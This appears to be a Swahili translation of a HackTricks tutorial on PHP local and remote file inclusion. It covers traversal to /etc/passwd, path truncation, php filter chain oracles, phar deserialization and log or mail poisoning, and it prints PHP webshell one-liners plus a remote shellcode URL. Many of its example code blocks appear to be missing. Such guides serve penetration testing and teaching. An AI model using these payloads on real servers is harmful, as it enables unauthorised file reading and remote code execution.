<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
**Kuingiza Faili ya Mbali (RFI):** Faili inapakiwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii **imelemazwa** kwa chaguo-msingi (**allow\_url\_include**).\
**Kuingiza Faili ya Kienyeji (LFI):** Seva inapakia faili ya ndani.
Orodha inayotumia njia kadhaa za kupata faili /etc/password (kutathmini ikiwa udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Orodha inayotumia njia kadhaa za kupata faili /boot.ini (kutathmini ikiwa udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (ukurasa=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezewa kufanikisha hili:
1.**Kutambua Kina cha Miongozo:** Hakikisha kina cha miongozo ya folda yako ya sasa kwa kupata faili ya `/etc/passwd` kwa mafanikio (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa kama ifuatavyo, ikionyesha kina cha tatu:
2.**Chunguza Folda:** Ongeza jina la folda inayoshukiwa (k.m., `private`) kwenye URL, kisha endelea kurudi kwa `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
* **Kosa / Hakuna Matokeo:** Labda folda ya `private` haipo katika eneo lililotajwa.
* **Yaliyomo ya `/etc/passwd`:** Uwepo wa folda ya `private` umethibitishwa.
4.**Utafiti wa Kina:** Folders zilizogunduliwa zinaweza kuchunguzwa zaidi kwa subdirectories au faili kutumia mbinu hiyo hiyo au mbinu za kawaida za Ujumuishaji wa Faili za Kienyeji (LFI).
Kwa kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana na hali. Kwa mfano, kuchunguza ikiwa `/var/www/` ina folda ya `private` (ukidhani kuwa folda ya sasa iko kwenye kina cha 3), tumia:
Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi ziada mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kupata `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti ya mtumiaji):
* **Kutumia Vipande vya Dot na Wahusika Wengine**: Mfululizo wa ufuatiliaji (`../`) uliochanganywa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufuta vitambulisho vilivyowekwa na seva.
* **Kutambua Idadi Inayohitajika ya Ufuatiliaji**: Kupitia jaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa `../` unaohitajika kusafiri hadi saraka kuu na kisha kufikia `/etc/passwd`, kuhakikisha kuwa vitambulisho vilivyowekwa (kama vile `.php`) vinatupiliwa mbali lakini njia inayotakiwa (`/etc/passwd`) inabaki bila kuguswa.
* **Kuanza na Saraka Bandia**: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile `a/`). Mbinu hii hutumiwa kama tahadhari au kufikia mahitaji ya mantiki ya uchambuzi wa njia wa seva.
Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia wa seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na mara nyingi majaribio ni muhimu kupata njia yenye ufanisi zaidi.
Katika php hii imelemazwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Lazima iwe **On** ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia mfano wa itifaki ya data na base64 kudecode nambari ya PHP ya b64 na kupata RCE:
Katika msimbo uliopita, `+.txt` ya mwisho ilitiwa kwa sababu muhusika alihitaji string ambayo inamalizika kwa `.txt`, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa).
Inaonekana kama una Uvamizi wa Njia katika Java na **unauliza kwa saraka** badala ya faili, **orodha ya saraka inarudi**. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).
Hapa kuna orodha ya parameta 25 bora ambazo zinaweza kuwa hatarini kwa udhaifu wa kuingiza faili za ndani (LFI) (kutoka [kiungo](https://twitter.com/trbughunters/status/1279768631845494787)):
*`convert.iconv.*` : Inabadilisha kwenye uendeshaji tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uendeshaji wote** uliohifadhiwa endesha kwenye konsoli: `iconv -l`
Kwa kutumia vichujio vya ubadilishaji vya `convert.iconv.*` unaweza **kuzalisha maandishi ya kupindukia**, ambayo yanaweza kuwa na manufaa kuandika maandishi ya kupindukia au kufanya kazi kama mchakato wa kujumuisha maandishi ya kupindukia. Kwa maelezo zaidi angalia [**LFI2RCE kupitia vichujio vya php**](lfi2rce-via-php-filters.md).
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili za ndani bila kupata jibu kutoka kwa seva. Mbinu hii inategemea **kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php** kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kusababisha php kutupa kosa.
Katika chapisho asili unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka:
* Tumia codec **`UCS-4LE`** kuacha herufi ya kiongozi ya maandishi mwanzoni na kufanya ukubwa wa herufi kuongezeka kwa kasi.
* Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya kwanza inatabiriwa kwa usahihi** ambayo php itasababisha **kosa**
* Kichujio cha **dechunk** kitafuta **kila kitu ikiwa herufi ya kwanza sio hexadesimali**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
* Hii, ikichanganywa na ile iliyotangulia (na vichujio vingine vinavyotegemea herufi iliyotabiriwa), itaturuhusu kutabiri herufi mwanzoni mwa maandishi kwa kuona tunafanya mabadiliko ya kutosha kufanya isiwe tena herufi ya hexadesimali. Kwa sababu ikiwa ni hex, dechunk haitaifuta na bomu la awali litasababisha kosa la php.
* Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaruhusu kutambua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiomba mara 6 ya codec hii a->b->c->d->e->f->g herufi hiyo haiko tena kama herufi ya hexadesimali, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidishwa na bomu la awali.
* Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kufichua herufi nyingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusonga herufi nyingine kwenye safu ya hex).
* Ikiwa herufi ya kwanza ni nambari ni lazima iwekwe kwenye base64 na kufichua herufi 2 za kwanza kufichua nambari.
* Tatizo la mwisho ni kuona **jinsi ya kufichua zaidi ya herufi ya kwanza**. Kwa kutumia vichujio vya kumbukumbu kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
* Na ili kuweza kupata **data zaidi** wazo ni **kuzalisha byte 2 za data zisizo na maana mwanzoni** na **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** kuifanya **ipige na byte 2 inayofuata**, na **futa data hadi data zisizo na maana** (hii itaondoa byte 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti unayotaka kufichua.
Katika chapisho zana ya kufanya hivi kiotomatiki pia ilifichuliwa: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **descriptors ya faili 0, 1 na 2** mtawalia (sijui jinsi hii inaweza kuwa na manufaa katika shambulio)
Faili ya `.phar` inaweza kutumika kutekeleza nambari ya PHP wakati programu ya wavuti inatumia kazi kama vile `include` kwa kupakia faili. Kificho cha PHP kilichotolewa hapa chini kinaonyesha uumbaji wa faili ya `.phar`:
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika kumbukumbu kwa kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mitiririko ya Ufupishaji
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Haiirudishi kitu kinachoweza kuchapishwa, kwa hivyo sio kweli inayoweza kutumika hapa)
Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa sana wakati unashughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni hasa tatizo ikiwa data inayoingia ina herufi za upelelezi wa saraka kama vile ".." inachunguzwa lakini haijasafishwa ipasavyo.
Huku lengo likiwa kuzuia upitishaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kudukua hii ili kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!
Mbinu hii inahusiana katika kesi ambapo **unadhibiti****njia ya faili** ya **kazi ya PHP** ambayo ita **fikia faili** lakini hautaona maudhui ya faili (kama wito wa **`file()`** tu) lakini maudhui hayo hayataonyeshwa.
Katika [**chapisho hili la kushangaza**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi upitishaji wa njia kipofu unaweza kutumiwa kupitia kichujio cha PHP kwa **kuchota maudhui ya faili kupitia orakuli la kosa**.
Kwa muhtasari, mbinu hii inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **kubwa** sana hivi kwamba **kazi ya PHP ya kufungua** faili itasababisha **kosa**.
Kisha, ili kufichua herufi ya kwanza, kichujio cha **`dechunk`** hutumiwa pamoja na vingine kama vile **base64** au **rot13** na hatimaye vichujio **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** hutumiwa kwa **kuweka herufi nyingine mwanzoni na kuzifichua**.
Ikiwa seva ya Apache au Nginx ina **udhaifu wa LFI** ndani ya kazi ya kuingiza unaweza jaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, weka ndani ya **mpelelezi wa mtumiaji** au ndani ya **parameta ya GET** kabati ya php kama **`<?php system($_GET['c']); ?>`** na ingiza faili hiyo
Tafadhali kumbuka kwamba **ikiwa utatumia alama za nukuu mbili** kwa kabati badala ya **nukuu moja**, alama za nukuu mbili zitabadilishwa kuwa mstari "_**nukuu;**_", **PHP itatoa kosa** hapo na **kitu kingine hakitafanyika**.
Hii pia inaweza kufanywa kwenye kumbukumbu nyingine lakini **weka tahadhari,** nambari ndani ya kumbukumbu inaweza kuwa URL-encoded na hii inaweza kuharibu Kabati. Kichwa cha habari **uthibitishaji "msingi"** una "mtumiaji:nywila" katika Base64 na inakiliwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
Fuzzing orodha ya maneno: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Tuma barua** kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuweka kwenye barua ya mtumiaji kwa njia ya **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
2. Jumuisha [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), na $PID = PID ya mchakato (inaweza kufanywa kwa nguvu) na $FD kielelezo cha faili (inaweza kufanywa kwa nguvu pia)
Logs za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna uwazi wa Kuingiza Faili za Kienyeji (LFI), na upatikanaji wa seva ya vsftpd iliyofichuliwa unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, kichujio cha PHP base64 hupuuza tu Non-base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza tu "." na kuongeza "php" kwa base64. Hapa kuna mzigo wa mfano:
Hii [**maelezo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaeleza kwamba unaweza kutumia **vichujio vya php kuzalisha maudhui ya kupindukia** kama matokeo. Hii inamaanisha kwamba unaweza **kuzalisha msimbo wa php wa kupindukia** kwa kuingiza **bila kuandika** kwenye faili.
**Pakia** faili itakayohifadhiwa kama **muda** katika `/tmp`, kisha katika **ombi moja,** chokoza **kosa la segmantesheni**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya sehemu nyingi**, PHP ita **wezesha kikao kwako**. Unaweza kutumia hii kupata RCE:
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na unaweza **kuchota njia** ya faili ya muda LAKINI **seva** inaangalia ikiwa **faili itakayoingizwa ina alama za PHP**, unaweza kujaribu **kupita kizuizi hicho** na hii **Hali ya Mashindano**:
Ikiwa unaweza kutumia LFI kwa **kupakia faili za muda** na kufanya seva **kukwama** kwenye utekelezaji wa PHP, basi unaweza **kuvunja nguvu majina ya faili kwa masaa** ili kupata faili ya muda:
Ikiwa unaingiza faili yoyote kati ya `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kuweka ile ile mara 2 ili kutoa kosa hilo).
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!
<summary><strong>Jifunze kudukua kwa kutumia AWS kutoka sifuri hadi shujaa na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.